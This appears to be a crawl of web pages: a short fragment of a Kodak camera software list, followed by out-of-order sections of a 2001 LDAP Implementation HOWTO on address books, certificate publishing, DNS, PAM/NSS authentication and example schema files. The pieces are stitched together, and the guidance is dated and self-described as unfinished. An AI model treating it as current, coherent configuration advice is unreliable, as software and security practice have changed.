Windows software, Macintosh software and firmware for the camera can be attained from the Kodak web site.

8.1.5. DC240 / DC240i

Windows software, Macintosh software and firmware for the camera can be attained from the Kodak web site.

8.1.6. DC220 (discontinued)

Windows software, Macintosh software and firmware for the camera can be attained from the Kodak web site.

8.1.7. DC215 / DC215 Metallics

Windows software and Macintosh software for the camera can be attained from the Kodak web site.

8.1.8. DC210 (discontinued)

Windows software and firmware for the camera can be attained from the Kodak web site.

8.1.9. DC210 Plus

Windows software and firmware for the camera can be attained from the Kodak web site.

8.1.10. DC200 (discontinued)

Windows software and firmware for the camera can be attained from the Kodak web site.

8.1.11. DC200 Plus

Windows software and firmware for the camera can be attained from the Kodak web site.

8.1.12. DC120 (discontinued)

Firmware updates and the TWAIN acquire module for this camera can be attained from the Kodak web site.

8.1.13. DC50 (discontinued)

TWAIN acquire modules and a Plug-In for Macintosh's can be found at the Kodak web site.

8.1.14. DC40 (discontinued)

TWAIN software and firmware updates for the camera can be attained from the Kodak web site.

8.1.15. DC25 (discontinued)

The Macintosh Photoshop acquire module for this camera can be found at the Kodak web site.

8.1.16. DC20 (discontinued)

The TWAIN acquire module and the Photoshop Plug-In can be found at the Kodak web site.

8.2. Programs for Alternate Operating Systems

8.2.1. Picture Transfer Software

This application was made for the DC40, DC50 Zoom, and DC120 Zoom camera models. Its main use is quick and easy conversion from Kodak's proprietary .KDC format to a more standard format (BMP, PICT, TIFF, FPX, JPG). This software is available for Windows 95, NT and 3.11, along with the Macintosh.

8.2.2. Picture Easy Software

This application was made for the DC20 and DC25 cameras. It will transfer pictures from the camera to the computer. It is available for both the Windows and Macintosh platforms.

Prev | Home
TODO |


Address books

LDAP Implementation HOWTO
Prev Next

7. Address books

A very useful feature of an Ldap database on a linuxserver is that when you have an internal network in your organization, you can have a single place to store all your external contacts. You could even divide it in groups, or departments. It is no longer neccesary to give each employee a seperate address book. Apart from using Ldap, this could also be done with Microsoft Exchange Server, Lotus Domino, and Netscape Active Directory.

To use Microsoft Address Book and programs that rely on it, such as Microsoft Outlook, Microsoft Outlook Express and Microsoft Outlook 2000 there is no need to change the basic ldap configuration. There are two things that need to be modified though.

At first, you have to create a directory tree to store your addresses and relevant data. In Section 11 will be shown which entries will be used in this tree.

Second, you have to make sure that all hosts on your local network have read access to this tree. This will be dealt with in the chapter 'security' which is not finished yet.

All Microsoft Email programs can use the Ldap Directory Services. If you want to search for people, you have to use the Address Book. When composing a new email message, a name can be automatically matched to an email address. To do this, the cn,sn,givenname and mail fields are searched. When you want to configure your Microsoft email program to use an Ldap server as your address book, or to look up email addresses, you need to do the following:

  1. Start your favorite email program and open the address book. This can be done by selecting Tools, Addressbook from within the program, or via the start menu by selecting Start,Programs,Accessories,Address Book.

  2. Click on Tools,Accounts to open the Internet Account window.

  3. Click Add, now you get an Internet Connection Wizard window, type the ip address or hostname of your Ldap server, and click OK.

  4. On the next window, answer Yes to confirm you want to check your adresses using this directory, or No if you don't want do not want that. Now click Next and click Finish.

  5. Now you're back at the Internet Account window. Select your newly-added account and click Properties.

  6. On the properties window, click the Advanced tab.

  7. In the Search Base field, enter the base of the tree where your adresses will be stored. An example could be ou=Addressbook,dc=yourorg,dc=com.

  8. Press OK to close the window and click Close to close the Internet Account window. You should have returned to the main Address Book window now.

Now, when you enter a name in the to: field, the email address is looked up in the Ldap Directory, and automagically filled in for you. If an entry is not found, a window is presented, and any typos can be corrected, or a new search can be done.

Prev | Home | Next
Mail Transfer Agents |  | Netscape roaming access


Publishing digital certificates with LDAP

LDAP Implementation HOWTO
Prev Next

9. Publishing digital certificates with LDAP

This section focuses on how to publish digital certificates into an ldap server. You need to publish digital certificates if you run a Certificaton Authority. Publishing to LDAP is a simple way to make this information available in the network .Also many certificate aware software uses LDAP as a preferred repository for user certificates.

This allows to keep users certificates with the rest of the user information avoiding useless replication of data.

To deal with certificates you need a cryptographic toolkit, the one used here is OpenSSL.

9.1. LDAP Server configuration

The LDAP server used here is OpenLDAP 2.0.x.

Your LDAP server must support objectclasses that allows attributes to store certificates. In particular you need to store in the LDAP server the Certification Authority certificate, the Certificate Revocation List, the Authority Revocation List and end users certificates.

The certificationAuthority objectclass implements the authorityRevocationList, certificateRevocationList and cACertificate attributes.

The inetOrgPerson objectclass supports the usercertificate (binary) attribute.

You can also use the mix-in objectclass strongAuthenticationUser to add certificates to non inetOrgPerson entries.

You can include required schemas to OpenLDAP including the following schemas into your slapd.conf file.

include        /usr/local/etc/openldap/schema/core.schema
include        /usr/local/etc/openldap/schema/cosine.schema
include        /usr/local/etc/openldap/schema/inetorgperson.schema

9.2. Certificate Publishing

Certificates are encoded using ASN.1 DER (Distingushed Encoding Rules). So it must be published into the LDAP server as a binary piece of data (using BER encoding).

You can convert a pem certificate into der format using openssl

openssl x509 -outform DER -in incert.pem  -out outcert.der

Then an LDIF file can be created using the ldif utility provided with OpenLDAP. The command:

ldif -b "usercertificate;binary" < outcert.der   > cert.ldif

creates an usercertificate attribute encoded in BASE64. You can add this certificate to an LDIF entry and then use ldapmodify to add the certificate to an entry.

ldapmodify -x -W -D "cn=Manager,dc=yourorg,dc=com" -f cert.ldif

Where cert.ldif contains something like:

dn: cn=user,ou=people,dc=yourorg,dc=com
changetype: modify
add: usercertificate
usercertificate;binary:: MIIC2TCCAkKgAwIBAgIBADANBgkqhkiG9w0BAQQFADBGMQswCQYD
 VQQGEwJJVDENMAsGA1UEChMESU5GTjESMBAGA1UECxMJQXV0aG9yaXR5MRQwEgYDVQQDEwtJTkZO
 IENBICgyKTAeFw05OTA2MjMxMTE2MDdaFw0wMzA4MDExMTE2MDdaMEYxCzAJBgNVBAYTAklUMQ0w
 CwYDVQQKEwRJTkZOMRIwEAYDVQQLEwlBdXRob3JpdHkxFDASBgNVBAMTC0lORk4gQ0EgKDIpMIGf
 MA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCrHdRKJsobcjXz/OsGjyq8v73DbggG3JCGrQZ9f1Vm
 9RrIWJPwggczqgxwWL6JLPKglxbUjAtUxiZm3fw2kX7FGMUq5JaN/Pk2PT4ExA7bYLnbLGZ9jKJs
 Dh4bNOKrGRIxRO9Ff+YwmH8EQdoVpSRFbBpNnoDIkHLc4DtzB+B4wwIDAQABo4HWMIHTMAwGA1Ud
 EwQFMAMBAf8wHQYDVR0OBBYEFK3QjOXGc4j9LqYEYTn9WvSRAcusMG4GA1UdIwRnMGWAFK3QjOXG
 c4j9LqYEYTn9WvSRAcusoUqkSDBGMQswCQYDVQQGEwJJVDENMAsGA1UEChMESU5GTjESMBAGA1UE
 CxMJQXV0aG9yaXR5MRQwEgYDVQQDEwtJTkZOIENBICgyKYIBADALBgNVHQ8EBAMCAQYwEQYJYIZI
 AYb4QgEBBAQDAgAHMAkGA1UdEQQCMAAwCQYDVR0SBAIwADANBgkqhkiG9w0BAQQFAAOBgQCDs5b1
 jmbIYVq2epd5iDjQ109SJ/V7b6DFw2NIl8CWeDPOOjL1E5M8dnlmCDeTR2TlBxqUZaBBJZPqzFdv
 xpxqsHC0HfkCXAnUe5MaefFNAH9WbxoB/A2pkXtT6WGWed+QsL5wyKJaO4oD9UD5T+x12aGsHcsD
 Cy3EVEaGEOl+/A==

It is also possible to specify the certificate in the LDIF file as:

userCertificate;binary:< file:///path/to/cert.der

9.3. LDAP Aware Clients

Once you stored certificates in the server you may wonder to retrieve them.

Among other clients, Netscape has supprt to retrieve certificates automatically from an LDAP server. Using the Security Panel-->User Certificates-->Search Directory; you can search for certificates in the LDAP dierctory and have them automatically installed in your Netscape certificate database.

Another client that has good support for certificates is web2ldap www.web2ldap.de

Prev | Home | Next
Netscape roaming access |  | SSL/TLS and SSL/TLS wrappers for LDAP


DNS

LDAP Implementation HOWTO
Prev Next

5. DNS

There are to ways of dns that can be configured via ldap, client side and server side. The first, client side, is using the name server switch to access the dns entries in the Ldap database. This means that only clients that modify their /etc/nsswitch.conf file will see the dns entries from ldap. The second way to do it is to use ldap as a backend for bind or tinydns. There are some projects going on about this subject and i will describe them below.

5.1. Using nss

When using nss to access (additional) host entries, please take not that only "friendly" machines (e.g. machines that you know of and whoes configuration you can control) can use this service. It might be useful for intranet host lookups that change often, but it cannot be used to distribute your webservers virtual hostnames to the world. Note that also the nslookup command bypasses both /etc/hosts and ldap, so it cannot be used to check if your setup is working. Use something like host or ping instead, which does a lookup with the internel gehostbyname() function.

5.1.1. Configuration

To have the name server switch use ldap for dns lookups it must be configured with nss_ldap. How to set up nss_ldap, you can find in Section 2. Here i will assume you have a working nss_ldap configuration. The dns lookups of nss are controlled with the hosts line in /etc/nsswitch.conf. It is very unlikely that you do not already have a hosts line. Most probably it will contain the files and dns entries. You should add ldap to it like this:

hosts:		files, dns, ldap

Think well about the order in which you specify these! It is advised always to put files as the first entry. Then, if you want ldap to override your local dns server, you have to make sure that the ip of the ldap server can be found in the /etc/hosts file. If not, you will have a nice recursive lookup going. -- You want to look up a host, it's not in files, so we try to contact the ldap server, whoes ip we don't know, so we try to look it up in files, where we cannot find it, so we try to contact the ldap server -- get the point? You could bypass this problem entirely by referring to your ldap server with an ip number instead of a hostname (in /etc/ldap.conf, that is.)

5.1.2. Schema

The schema used for this, and similar services, can be found in RFC 2307. Entries used for mapping names to ipnumbers are in an objectclass ipHost. The name part of the mapping is given in the attribute cn, while the ip part lives in ipHostNumber. A typical ldif entry would therefore look like this:

dn: cn=somehostname.mydomain.com,ou=Network,o=YourOrg,c=NL
objectclass: top
objectclass: ipHost
cn: somehostname.internal.example.com
ipHostNumber: 10.1.5.13

Of course, the usual restrictions and possibilities that come with dns apply.

5.2. Using bind

There are a few possibilities with bind or tinydns nowadays, but imho none of them is a "real" solution (yet). I must say, however, that i have no experience with any of them. They are listed below.

5.2.1. Bind patch

David Storey is working on a patch for Bind, which makes it get its data directly from ldap. This means that every time a request is performed on the bind daemon, it does a lookup in ldap. At this time, his future plans were: (Taken from the source) to have at least two modes of operation: cached and dynamic. Cached mode operates just like an rbtdb by loading the entire zone into memory and reloading whenever the server is HUP'ed. Dynamic mode is much like it is now: every request means an LDAP lookup. For up to date information you should check out the sources.

5.2.2. ldap2dns

Taken entirely from their website:

ldap2dns is a program to create DNS records directly from a LDAP directory. It can and should be be used to replace the secondary name-server by a second primary one. ldap2dns helps to reduce all kind of administration overhead. No more flat file editing, no more zone file editing. After having installed ldap2dns, the administrator only has to access the LDAP directory. If he desires he can add access control for each zone, create a webbased GUI and add all other kind of zone and resource record information without interfering with the DNS server. ldap2dns is designed to write binary data.cdb files used by tinydns, but also may be used to write .db-files used by named.

The projects homepage is here.

5.2.3. ispman

ispman is a perl-based isp management package. It uses an ldap database backend for it's configuration. It can do lot's of things, so you might check out what you need exactly. It's at ispman.org.

Prev | Home | Next
Samba |  | Mail Transfer Agents


Example files

LDAP Implementation HOWTO
Prev

12. Example files

Here are the example files that can be used to setup an installation as I described here.

12.1. The schema file

# Unix related and default classes (Modified)

attribute       userpassword                            ces
attribute       telephonenumber                         tel
attribute       facsimiletelephonenumber        fax     tel
attribute       pagertelephonenumberpager               tel
attribute       homephone                               tel
attribute       mobiletelephonenumber           mobile  tel
attribute       member                                  dn
attribute       owner                                   dn
attribute       dn                                      dn

objectclass top
        requires
                objectClass

objectclass organization
        requires
                objectClass,
                o
        allows
                description

objectclass organizationalUnit
        requires
                objectClass,
                ou
        allows
                description

objectclass person
        requires
                objectClass,
                cn
        allows
                description

objectclass account
        requires
                objectClass,
                uid
        allows
                description,
                host,
                o,
                ou

# Samba related classes (Original)

objectclass sambaaccount
        requires
                objectclass,
                uid,
                uidnumber,
                ntuid,
                rid
        allows
                gidnumber,
                grouprid,
                nickname,
                userpassword,
                ou,
                description,
                lmpassword,
                ntpassword,
                pwdlastset,
                smbhome,
                homedrive,
                script,
                profile,
                workstations,
                acctflags,
                pwdcanchange,
                pwdmustchange

objectclass sambagroup
        requires
                cn,
                rid
        allows
                ntuid,
                member,
                description

objectclass sambaconfig
        requires
                id
        allows
                nextrid

objectclass sambabuiltin
        requires
                cn,
                sid
        allows
                ntuid,
                rid,
                member,
                description

# Sendmail related class (new / modified)

objectclass inetmailrecipient
    requires
        objectclass
    allows
        mailid,
        mailacceptinggeneralid,
        maildrop

objectclass inetmaildomain
    requires
        objectclass,
        sendmailislocalkey
    allows
        maildomain,
        sendmailaccesskey

# Addressbook related classes

objectclass netscapeaddressbook
        requires
                objectclass,
                cn
        allows
                cellphone,
                countryname,
                description,
                facsimiletelephonenumber,
                givenname,
                homephone,
                homeurl,
                locality,
                mail,
                nickname,
                o,
                ou,
                pagerphone,
                postalcode,
                sn,
                st,
                streetaddress,
                telephonenumber,
                title,
                xmozillanickname,
                xmozillausehtmlmail,
                xmozillaanyphone

objectclass microsoftaddressbook
        requires
                objectclass,
                cn
        allows
                c,
                department,
                facsimiletelephonenumber,
                givenname,
                homephone,
                homepostaladdress,
                info,
                initials,
                l,
                mail,
                mobile,
                organizationname,
                otherfacsimiletelephonenumber,
                otherpager,
                physicaldeliveryofficename,
                postaladdress,
                postalcode,
                sn,
                st,
                telephonenumber,
                title,
                url

12.2. Example base ldif

dn: dc=yourorg,dc=com
objectClass: top
objectClass: organization
o: YourOrg
description: This is our organizations base dn. Everything is stored beneath this

dn: ou=Users,dc=yourorg,dc=com
objectClass: top
objectClass: organizationalunit
ou: Users
description: This is the tree were user accounts are stored

dn: ou=Machines,dc=yourorg,dc=com
objectClass: top
objectClass: organizationalunit
ou: Machines
description: This is the tree were machine accounts are stored

dn: ou=Roaming,dc=yourorg,dc=com
objectClass: top
objectClass: organizationalunit
ou: Roaming
description: This is the tree were netscape roaming profiles are stored

dn: ou=Addressbook,dc=yourorg,dc=com
objectClass: top
objectClass: organizationalunit
ou: Addressbook
description: This is the tree were addressbook entries are stored
Prev | Home
Ldap schema's |


LDAP Implementation HOWTO

Roel van Meer

Linvision BV

r.vanmeer@linvision.com

Giuseppe Lo Biondo

INFN MI

giuseppe.lobiondo@mi.infn.it

v0.5, 2001-03-30

Revision History
Revision 0.5 | 2001-03-30 | Revised by: rvm
Cleanup, fixes, overview rewritten.
Revision 0.4 | 2001-02-01 | Revised by: rvm
Added dns section.
Revision 0.3 | 2001-01-18 | Revised by: rvm
Added MTA sections.
Revision 0.2 | 2000-11-12 | Revised by: glb
Improved section on nss. Added sections about certificates and wrappers.

This document describes the technical aspects of storing application data in an ldap server. It focuses on the configuration of various applications to make them ldap-aware. Some applications that assist in handling ldap data are also discussed.

Table of Contents
1. Overview
1.1. Why this howto?
1.2. What is it about?
1.3. What is it NOT about?
1.4. Acknowledgements
1.5. Disclaimer
1.6. Copyright and license
2. LDAP authentication using pam_ldap and nss_ldap
2.1. The components of the framework
2.1.1. Authentication: PAM and pam_ldap.so
2.1.2. The Name Service Switch and nss_ldap.so
2.1.3. The Lightweight Directory Access Protocol
2.1.4. The Name Service Caching Daemon
2.1.5. The Secure Socket Layer
2.2. Building the authentication system
2.2.1. Server side
2.2.1.1. Installing and configuring OpenLDAP
2.2.2. Client side
2.2.2.1. PAM LDAP Installation and Configuration
2.2.2.2. NSS LDAP installation and configuration
2.2.2.3. NSCD configuration
2.2.2.4. LDAP client configuration file
2.3. Starting up
2.4. Accounts maintenance
2.5. Known limits
2.6. File permissions
3. Radius authentication using LDAP
3.1. FreeRadius Radiusd configuration
3.2. Testing Radius Authentication
3.3. Sample CISCO IOS Configuration
4. Samba
5. DNS
5.1. Using nss
5.1.1. Configuration
5.1.2. Schema
5.2. Using bind
5.2.1. Bind patch
5.2.2. ldap2dns
5.2.3. ispman
6. Mail Transfer Agents
6.1. Sendmail
6.1.1. Ldap support in sendmail
6.1.2. System layout.
6.1.3. Sendmail configuration file
6.1.4. Schema
6.1.5. More information.
6.2. Postfix
6.2.1. Support
6.2.2. Configuration
6.2.3. Example setup
6.3. Qmail
7. Address books
8. Netscape roaming access
9. Publishing digital certificates with LDAP
9.1. LDAP Server configuration
9.2. Certificate Publishing
9.3. LDAP Aware Clients
10. SSL/TLS and SSL/TLS wrappers for LDAP
10.1. A Brief description of SSL
10.2. SSL/TLS availability for OpenLDAP
10.3. How to use stunnel to provide SSL/TLS to an LDAP V2 server
10.4. How to use stunnel to provide SSL to LDAP clients
10.5. How to use stunnel to provide SSL for slurpd replication
11. Ldap schema's
12. Example files
12.1. The schema file
12.2. Example base ldif
Next
Overview


Overview

LDAP Implementation HOWTO
Prev Next

1. Overview

1.1. Why this howto?

I started learning about ldap when my company felt the need for a centralized storage of user account information, and wanted to use ldap for this. I soon found that there were bits and pieces of documantation everywhere, but that there was no document that put it all together. This has been the reason to start it.

Furthermore, Ldap is becoming more widely used every day. I think it is useful that when people are considering to use Ldap, they can get a full overview of which applications are Ldap aware. This might help them to choose their system setup carefully, without throwing everything about every time they want to change something or add functionality.

It started out as a project roadmap on how we wanted to implement Ldap for our own uses. But thanks to my employer, Linvision, who gave me the opportunity to do some research on things that weren't really useful to our own cause, it changed from a roadmap to a technical overview of applications that are ldap aware.

1.2. What is it about?

Most of the common services can be authenticated through PAM, Pluggable Authentication Modules. With the pam_ldap and nss_ldap modules, all pamified programs can get their information from LDAP. More information about PAM in general can be found on the Linux-PAM site. Information about pam_ldap and nss_ldap can be found on the padl software site.

For Samba, things are a little difficult at this moment. The current stable Samba versions do not have Ldap support. Ldap support can be found in the HEAD and TNG branch, and probably also in the combined tree. The problem is that samba has it's own usernames and passwords. It does have usage for PAM, in fact, but that is not sufficient to do all the authentication and retrieval of user information. Because the implementation of LDAP in samba is not fully finished yet, there are a few limitations to the use of ldap with samba. From my experiences, the HEAD is at this time (early June 2000) not stable enough, and the performance is unsatisfying. However, when the ldap support is fully functional in the new releases, samba too can be configured to get all of it's user information from ldap.

Another thing that can be stored into an ldap database is DNS. When the amount of machines connected to your network increases, it is no longer feasable to edit the DNS files by hand. When machine accounts are stored into ldap, two simple DNS entries (one for the lookup, and one for the reverse lookup) can easily be added at the same time. This too provides a simplification of system management. Although the storage of DNS entries in an ldap database may not be neccesary for most systems, it may prove useful to some people.

Since sendmail version 8.9 (see sendmail.net for more details), sendmail has Ldap support. Postfix and QMail are ldap-aware too. When setting up an email system which has multiple mailhosts and or fallback hosts, it is convenient to store all the information in one place. Normally, every system needs to be configured separately, with the same information. When using ldap, this can be avoided.

Roaming access can also be used with LDAP. Netscape versions 4.5 and up have the possibility to store user data like bookmarks and such via an HTML or LDAP server. This gives users their good old preferences, wherever they log in and use Netscape.

Microsoft's office programs can import address books. Thay can also use an Active Directory service to automagically match emailaddresses to user names or nicknames. With Ldap this can be done on a Linux system, without the need for Microsoft Exchange Server or something the like.

1.3. What is it NOT about?

First thing: I will try not to talk too much about the actual setup and administration of Ldap itself. There is an excellent Ldap HOWTO available at the Linux Documentation Project that discusses this.

Secondly, I will not discuss things regarding the applications itself, when they have nothing to do with Ldap.

Lastly, in most cases, I cannot tell you if it is wise to use Ldap. I don't have that kind of experience. I can tell you how to do it, if you want, but i cannot tell you if you should. There is plenty documentaion available that discusses the useability of Ldap in general.

1.4. Acknowledgements

At first, I would like to thank my employer, Linvision, for giving me the opportunity to work on this document in their time.

Furthermore, I would like to thank the following people, who have contributed to this document in some way (in no particular order): Giuseppe Lo Biondo.

1.5. Disclaimer

This document is provided as is and should be considered as a work in progress. Several sections are as yet unfinished, and probably a lot of things that should be in here, aren't. I would greatly appreciate any comments on this document, of whatever nature they may be.

In any case, think before you go messing around with your system and don't come to me if it breaks.

1.6. Copyright and license

Copyright (c) by Roel van Meer, Giuseppe Lo Biondo. This document may be distributed only subject to the terms and conditions set forth in the LDP License at the Linux Documentation Project.

Prev | Home | Next
LDAP Implementation HOWTO |  | LDAP authentication using pam_ldap and nss_ldap


LDAP authentication using pam_ldap and nss_ldap

LDAP Implementation HOWTO
Prev Next

2. LDAP authentication using pam_ldap and nss_ldap

This section focuses on how to use LDAP as a NIS substitute for user accounts management. Having a lot of user accounts on several hosts often causes misalignments in the accounts configuration. LDAP can be used to build a centralized authentication system thus avoiding data replication and increasing data consistency.

At the moment the most used method to distribute users account data and other information through a network is the Network Information Service (NIS). Like LDAP, NIS is a distributed service that allows to have a central server where configuration files such as passwd, shadow, groups, services, hosts etc. are kept. The NIS server is queried by NIS clients to retrieve this information.

LDAP can offer the same functionality of NIS, moreover there are several advantages on using LDAP:

  • Information on the LDAP server can be easily used for several purposes. As outlined in this HOWTO, the same users entries on the LDAP database can be used for other applications like phone directories, mail routing, staff databases etc., thus avoiding data replication and inconsistency.

  • LDAP allows complex access control lists to be applied on the database. This allows for a fine grain tuning of permissions on the database entries.

  • A secure transmission channel between the LDAP server and the clients can be implemented through the Secure Socket Layer (SSL).

  • A fault tolerant service can be implemented using slapd replication [1] and DNS round robin queries (this is not covered in this document).

  • Having a single instance of users on the network helps to maintain users on many hosts from a single management point (i.e. you can create and delete accounts in the LDAP server and this changes are available immediately to LDAP clients).

Herein I'll focus on how an LDAP server can be used for authentication and authorization on systems providing the Pluggable Authentication Module (PAM) and the Name Service Switch (NSS) technologies, in particular I'll refer to the Linux operating system even if this instructions can be applied to other operating systems.

The environment proposed consists of an LDAP server where users account data is stored in a convenient format and a set of Un*x clients using this information to authenticate and authorize users on resources in a standard Un*x fashion.

A secure channel is also required in client/server communications since critical information such as user account data, should not be sent in clear over the network, this channel will be provided by the Secure Socket Layer.

On the client side a caching mechanism, needed for performance issues, can be provided by the Name Service Caching Daemon.

All (almost) the software used to build this system is Open Source.

2.1. The components of the framework

This section outlines the various components that are used to build the authentication system. For each component is given a brief description.

2.1.1. Authentication: PAM and pam_ldap.so

The Pluggable Authentication Module allows integration of various authentication technologies such as standard UNIX, RSA, DCE, LDAP etc. into system services such as login, passwd, rlogin, su, ftp, ssh etc. without changing any of these services.

First implemented by Sun Solaris, PAM is now the standard authentication framework of many Linux distributions, including RedHat and Debian. It provides an API through which authentication requests are mapped into technology specific actions (implemented in the so called pam modules). This mapping is done by PAM configuration files, in which, for each service are basically given the authentication mechanisms to use.

In our case, the pam_ldap module, implemented in the shared library pam_ldap.so, allows user and group authentication using an LDAP service.

Each service that needs an authentication facility, can be configured through the PAM configuration files to use different authentication methods. This means that it is possible, using the PAM configuration files, to write a custom list of requirements that an user must satisfy to obtain access to a resource.

2.1.2. The Name Service Switch and nss_ldap.so

Once an user is authenticated, many applications still need access to user information. This information is traditionally contained in text files (/etc/passwd, /etc/shadow, and /etc/group) but can also be provided by other name services.

As a new name service (such as LDAP) is introduced it can be implemented either in the C library (as it was for NIS and DNS) or in the application that wants to use the new nameservice.

Anyway, this can be avoided using a common, general purpose, name service API and by demanding to a set of libraries the task of retrieving this information performing technology based operations.

This solution was adopted in the GNU C Library that implements the Name Service Switch, a method originated from the Sun C library that permits to obtain information from various name services through a common API.

NSS uses a common API and a configuration file (/etc/nsswitch.conf) in which the name service providers for every supported database are specified.

The databases currently supported by NSS [2] are:

  • aliases: Mail aliases.

  • ethers: Ethernet numbers.

  • group: Groups of users.

  • hosts: Host names and numbers.

  • netgroup: Network wide list of host and users.

  • network: Network names and numbers.

  • protocols: Network protocols.

  • passwd: User passwords.

  • rpc: Remote procedure call names and numbers.

  • services: Network services.

  • shadow: Shadow user passwords.

Using the nss_ldap shared library it is possible to implement the maps above using LDAP, anyway here I'll focus only on the LDAP implementation of shadow, passwd and group database tough all the maps above can be implemented. For most of the other maps it is even unadvisable to store them in ldap, as they tend not to change too often, so it is not a problem to have them locally as files, and storing them in ldap would cause some minor performance loss.

2.1.3. The Lightweight Directory Access Protocol

For our application LDAP is used to provide clients with information about user accounts and user groups. The standard objectclasses that are used to represent users and groups are: top, posixAccount, shadowAccount and posixGroup.

Users entries on the database must belong at least[3] to the top, posixAccount and shadowAccount objectclasses. Group entries must belong to the top and posixGroup objectclasses.

The implementation of pam_ldap and nss_ldap that we use refers to this objectclasses, that are described in RFC 2307.

Note: Actually LDAP NSS recognize other objectclasses

2.1.4. The Name Service Caching Daemon

The Name Service Caching Daemon (NSCD) is used to cache name service lookups and can improve performance with the services provided by the NSS.

It must be tuned with a large cache for passwd entries in order to have acceptable performance on the client side.

It has some disadvantages however, like the introduction of cache inconsistencies, so you would want to be sure you need this before you use it. We have succesfully running some systems without it, and personally i think that it isn't really neccesary on relatively small systems.

2.1.5. The Secure Socket Layer

For details on SSL refer to Section 10.

SSL is needed in the communication between the LDAP server and the clients libraries (pam_ldap.so and nss_ldap.so), since sensible data, such as password entries, needs to be encrypted between the client and the server. SLL also permits the client to uniquely identify the server, thus avoiding to obtain authentication informations from an untrusted source.

Client authentication (the server identifies the client) is not supported in the current implementation of pam_ldap and nss_ldap modules tough it may be useful.

2.2. Building the authentication system

This section describes the steps needed to build the authentication system using the components described in the previous section.

Figure 1. PAM Layout

The relationships among the pieces of the authentication system from the PAM point of view

Figure 2. NSS Layout

The relationships among the pieces of the authentication system from the NSS perspective

Though this layout may seem quite complex to implement, most of the components are already in place in a Linux system.

2.2.1. Server side

On the server side an LDAP server must be installed and configured. The LDAP server used is OpenLDAP, an open source LDAP toolkit including an LDAP server (slapd), library and utilities.

At the moment OpenLDAP comes with two implementation of LDAP: a V2 implementation (OpenLDAP 1.2.x) ad a V3 (OpenLDAP 2.0.x) implementation

The V3 implementation provides native SSL, the V2 doesn't. Anyway it is possible to use an SSL wrapper to add SSL capabilities to the server (see Section 10).

2.2.1.1. Installing and configuring OpenLDAP

You can refer to the LDAP-HOWTO for instruction on installation and configuration of LDAP

Once slapd is properly configured we need to insert some data for the initial creation of the database. Therefore an LDIF (LDAP Data interchange format) file must be created. This is a text file that can be imported in the LDAP database with the command:

#ldif2ldbm -i your_file.ldif

Note: ldif2ldbm is provided with the OpenLDAP 1.2.x package, if you use OpenLDAP 2.0.x, you should use the ldapadd command (after the server is started).

If you use OpenLDAP 2.0.x (LDAPv3) you can find the standard nis schema in the file etc/openldap/schema/nis.schema, include it in your slapd.conf with the include directive, to have schema enforcement.

Here is an example of a minimal LDIF file. Each entry is separated by a blank line.

dn:dc=yourorg, dc=com
objectclass: top
objectclass: organizationalUnit

dn:ou=groups, dc=yourorg, dc=com
objectclass: top
objectclass: organizationalUnit
ou: groups

dn:ou=people, dc=yourorg, dc=com
objectclass: top
objectclass: organizationalUnit
ou: people

dn: cn=Giuseppe LoBiondo, ou=people, dc=yourorg, dc=com
cn: Giuseppe Lo Biondo
sn: Lo Biondo
objectclass: top
objectclass: person
objectclass: posixAccount
objectclass: shadowAccount
uid:giuseppe
userpassword:{crypt}$1$ss2ii(0$gbs*do&@=)eksd
uidnumber:104
gidnumber:100
gecos:Giuseppe Lo Biondo
loginShell:/bin/zsh
homeDirectory: /home/giuseppe
shadowLastChange:10877
shadowMin: 0
shadowMax: 999999
shadowWarning: 7
shadowInactive: -1
shadowExpire: -1
shadowFlag: 0

dn: cn=mygroup, ou=groups, dc=yourorg, dc=com
objectclass: top
objectclass: posixGroup
cn: mygroup
gidnumber: 100
memberuid: giuseppe
memberuid: anotheruser

Note: Note that lines that are too long are continued on the following line started by a tab or a space, this in true too for LDIF format files

Here we defined the base DN for the orgazation dc=yourorg, dc=com under which are contained two sub organizational units: people and groups. Then is described a user that belongs to the people organizational unit and a group (which the users belongs to) under the groups organizational unit.

Note: Useful tools to convert existing databases into ldif format are provided by PADL and can be found at the address ftp://ftp.padl.com/pub/MigrationTools.tar.gz.

The LDIF file must be imported in the server while it is not running since the ldif2ldbm command builds the database directly, bypassing the LDAP server. Once the LDIF file is imported into the database, the server can be started.

2.2.2. Client side

On the client side pam_ldap.so and nss_ldap.so are required and they must be compiled using the Netscape LDAP Library (Mozilla) since it provides the required LDAPS (LDAP over SSL) API. The library is distributed in a binary package under Netscape One license and is not open source (it is public domain anyway).

The package can be extracted, for example, in the directory /usr/local/ldapsdk.

Client libraries must also have access to a certificate database containing the LDAP (stunnel) server certificate and the CA certificate of the CA that signed the server certificate (marked as trusted).

The certificate database must be in Netscape format since the Mozilla LDAP API used to compile pam_ldap and nss_ldap uses certificate databases in Netscape format.

To deal with such certificate databases it is convenient to use the certutil utility found in the PKCS#11 package provided by Netscape [4].

The main configuration file for LDAP clients is /etc/ldap.conf.

Note that if you use nss_ldap, you don't strictly need to use pam_ldap.

You can use the pam_unix_auth module instead, since nss_ldap maps all getpw* and getsh* calls into LDAP lookups and pam_unix_auth uses this calls to authenticate users.

2.2.2.1. PAM LDAP Installation and Configuration

To compile and install pam_ldap, do the following:

$ ./configure --with-ldap-lib=netscape4 \
              --with-ldap-dir=/usr/local/ldapsdk
$ make
# make install

The configure switch --with-ldap-lib tells which LDAP library you are going to use.

The switch --with-ldap-dir tells where you have installed your Netscape ldapsdk toolkit.

This will install /lib/security/pam_ldap.so.1 and the various symlinks.

PAM has to be properly configured in order to access the new authentication system. PAM configuration files are located in the directory /etc/pam.d and are named after the service for which authentication is provided.

For example this is the PAM configuration file for the login service (in a file named login).

#%PAM-1.0
auth     required   /lib/security/pam_securetty.so
auth     required   /lib/security/pam_nologin.so
auth     sufficient /lib/security/pam_ldap.so
auth     required   /lib/security/pam_unix_auth.so use_first_pass
account  sufficient /lib/security/pam_ldap.so
account  required   /lib/security/pam_unix_acct.so
password required   /lib/security/pam_cracklib.so
password sufficient /lib/security/pam_ldap.so
password required   /lib/security/pam_unix_passwd.so use_first_pass md5 shadow
session  required   /lib/security/pam_unix_session.so

Standard PAM configuration files for use with PAM can be found in the pam_ldap source distribution, in the directory pam_ldap-version/pam.d.

This files can be copied in the /etc/pam.d directory. Caution must be given when performing this operation, since if something goes wrong you probably will not be able to login again. It is suggested to make a backup copy of /etc/pam.d before installing new files there and to leave an open privileged shell.

Note: In the example pam.d directory, a sshd file is not present, so unless you create one, you will be unable to login via ssh, if it uses pam (OpenSSH does use PAM).

2.2.2.2. NSS LDAP installation and configuration

